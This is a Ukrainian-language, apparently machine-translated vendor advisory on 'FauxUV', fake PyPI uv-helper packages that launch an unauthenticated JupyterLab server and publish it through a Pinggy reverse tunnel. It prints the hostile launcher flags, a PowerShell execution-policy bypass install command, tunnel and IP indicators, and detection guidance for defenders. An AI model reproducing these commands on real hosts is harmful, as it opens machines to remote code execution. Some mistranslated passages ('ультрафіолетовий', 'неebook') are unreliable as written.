FauxUV: Підроблені пакети PyPI uv відкривають Jupyter для Інтернету

FauxUV: фальшиві помічники PyPI UV, які відкривають неавтентифікований сервер Jupyter для доступу до Інтернету.

TL, д-р

Кластер пакетів PyPI запозичив назву uv, швидкий, надзвичайно популярний менеджер пакетів Python на базі Rust, видає себе за помічників UV. Вони майже не мають жодної реальної функціональності. Натомість вони несуть корисне навантаження Windows, яке може витримувати Сервер JupyterLab з вимкненою автентифікацією а в пізніших версіях публікує його в загальнодоступному інтернеті через зворотний тунель.

Ось і вся історія в одному рядку: назва надійного інструменту як приманка, та JupyterLab як механізм віддаленого виконання коду. Сервер Jupyter виконує будь-який код, який ви вводите в неebook клітинка; та, що запускається з порожнім токеном і прив'язана до кожного мережевого інтерфейсу, є відкритим інтерпретатором, яким може керувати будь-хто, хто має доступ до порту.

Ми відстежуємо кластер як FauxUVДва розглянуті пакети є moon-uv (0.0.1 – 0.0.16) і my-magic-uv-helper (0.0.1), опублікований тим самим оператором та активний на PyPI на момент аналізу.

ЕкосистемаPyPI
Пакетиmoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Орієнтована на платформуWindows
Основна поведінкаНеавтентифікований сервер JupyterLab, опублікований в інтернеті через зворотний тунель
Зловживання законними інструментамиультрафіолетовий, JupyterLab, cloudflared, Pingy

Приманка: ім'я, якому ви вже довіряєте

uv є одним з найбільш встановлюваних інструментів Python за останні два роки, тому «помічник для uv« – це пакет, який розробник встановлює без зайвих роздумів. FauxUV повністю спирається на цю назву. Пакети огортають справжній uv інсталятор від Astral — URL-адреси в корисному навантаженні вказують на справжніх, авторитетних хостів — тому швидкий погляд не бачить нічого, крім надійних посилань. Жоден з пакетів насправді не додає uv функціональність; назва — це вся маскування.

JupyterLab як рушій RCE

Центральним елементом корисного навантаження є лаунчер, який запускає JupyterLab після видалення всіх захисних огорож:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Кожен прапорець знімає захист, а наданий скрипт навіть анотує їх (оригінальною китайською мовою): порожній токен «вимикає перевірку паролів і токенів — підключитися може будь-хто». лабораторія Юпітера є легітимним IDE для обробки даних, але неebook клітинка виконує довільний код за призначенням. Налаштована таким чином і прив'язана до 0.0.0.0, він перестає бути IDE та стає неавтентифікованою віддаленою оболонкою на хості — не потрібен власний бінарний файл шкідливого програмного забезпечення, лише загальноприйнятий інструмент, спрямований не в тому напрямку.

Два допоміжні елементи роблять це досяжним та повторюваним:

  • Тригер тихої інсталяції. Ранні версії працюють з PowerShell -ExecutionPolicy Обхід прямо з setup.py on pip встановити, на задньому плані з придушенням помилок, таким чином типун виглядає нормально. Пізніші версії переміщують той самий примітив у піп-ув інструмент командного рядка — і повністю відмовитися від автоматичного запуску під час встановлення.
  • Громадський зворотний тунель. Сервер на 0.0.0.0 все ще доступний лише для хостів, які можуть маршрутизувати до машини. Побудований модуль відкриває [Pinggy](https://pinggy.io/) Зворотний тунель SSH, який пересилає локальний порт Jupyter на публічну адресу, усуваючи це обмеження. Постачальник скрипту також містить — закоментований — альтернативний шлях, використовуючи Cloudflare спалах хмар і Netsh порт-проксі до IP-адреси Linode, документуючи ту саму мету через різну інфраструктуру.

Зібрані разом: встановіть пакет, і хост Windows запустить JupyterLab без пароля та опублікує його у відкритому інтернеті.

Як еволюціонував FauxUV

Версії FauxUV виходили одна за одною, і точка запуску корисного навантаження переміщалася по них — нагадування про те, що одна позначена версія рідко розповідає всю історію рядка пакета.

Стажування версії Тригер Що це додає
Install-hook moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py при встановленні pip uv install + PATH додається до початку
Середовище виконання CLI moon-uv 0.0.5-0.0.13 pip-uv команда безпарольний лаунчер JupyterLab
Тунель moon-uv 0.0.14-0.0.16 pip-uv команда активний зворотний тунель Pingy

Примітно, що автоматичний запуск під час встановлення був віддалений у пізніших, більш потужних версіях — тому сканер вмикався лише на етапі життєвого циклу hooks оцінив би новіші релізи як менше ризиковано, саме навпаки.

Ознаки компромісу

Підтверджено читанням вихідного коду пакета; кінцеві точки позначені прокоментував присутні у файлах, але не виконуються аналізованою версією. Мережеві індикатори вимкнено.

тип індикатор
Команда встановлення powershell -ExecutionPolicy Bypass отримання справжнього інсталятора UV під час встановлення pip
Прапори JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Зворотний тунель (активний) free[.]pinggy[.]io:443 переадресація місцевих 127.0.0.1:8888
Хост тунелю (з коментарем) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (коментовано) 45[.]79[.]134[.]161 (Ліноде) через netsh port-proxy
Наполегливість додає на початок %USERPROFILE%\.local\bin до користувача PATH

Поведінкові сигнали, на які варто звернути увагу, незалежно від цих конкретних рядків: a pip встановити що породжує powershell -Обхід політики виконання; будь-який юпітер об'єднання запуску токен = "" з –ip=0.0.0.0; та вихідний SSH до *.pinggy.io* від розробника або машини непереривчастої інтеграції.

Спостережувана поведінка та походження

Ці два пакети мають спільного автора та метод: назву надійного інструменту, шлюзування лише для Windows, фонове виконання з придушенням помилок та опору на надійні інструменти, тому швидкий перегляд показує лише надійні URL-адреси. Джерело містить коментарі китайською мовою, які чітко описують прапорці, що стосуються безпеки; ми повідомляємо про них як про спостережувані твердження у файлі, а не як твердження про мотив. allow_origin значення та а colab.bat Назва файлу відображає неформальні робочі процеси «поділитися моїм локальним середовищем виконання», що поширюються для Google Colab. Незалежно від походження, упакований результат однаковий.

Вплив та рекомендації для захисників

Хто піддається впливу FauxUV. Розробники Windows та виконавці неперервної інтеграції, які pip встановити один із цих пакетів. JupyterLab без пароля на 0.0.0.0 це віддалене виконання коду для будь-кого, хто може отримати доступ до порту; тунель знімає обмеження «хто може до нього дістатися». Сервер працює від імені користувача, який встановлює його, успадковуючи файли, токени та хмарні облікові дані.

Чому це легко пропустити. Кожен мережевий рядок вказує на надійного хоста — Astral, JupyterLab, спалах хмар, Pinggy, Colab. Немає бінарного файлу шкідливого програмного забезпечення для хешування та обфускованого блобу для декодування. Сканування на основі репутації та сигнатур недооцінює це, тому поведінкове питання — що робить машина після встановлення цього пакета — той, хто його ловить.

Керівництво:

  • Обробляйте будь-які дані під час встановлення powershell -Обхід політики виконання як сигнал зупинки збірки, незалежно від URL-адреси, яку він отримує.
  • Сповіщення про юпітер запущено з порожнім токеном та –ip=0.0.0.0; ця комбінація ніколи не повинна з'являтися на робочій станції або бігунку.
  • Моніторинг вихідного SSH до тунельних провайдерів (*.pinggy.io*, *.trycloudflare.com) з середовищ розробників та інженерів неперервної інтеграції.
  • Встановлювати uv з [офіційного джерела](https://docs.astral.sh/uv/) і скептично ставтеся до сторонніх «допоміжних» пакетів, які огортають інструмент, встановлення якого вже є простим.
  • Закріплення та повторний перегляд залежностей під час оновлення — рядок пакета може нарощувати нові можливості з кожної версії в рядку.
інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni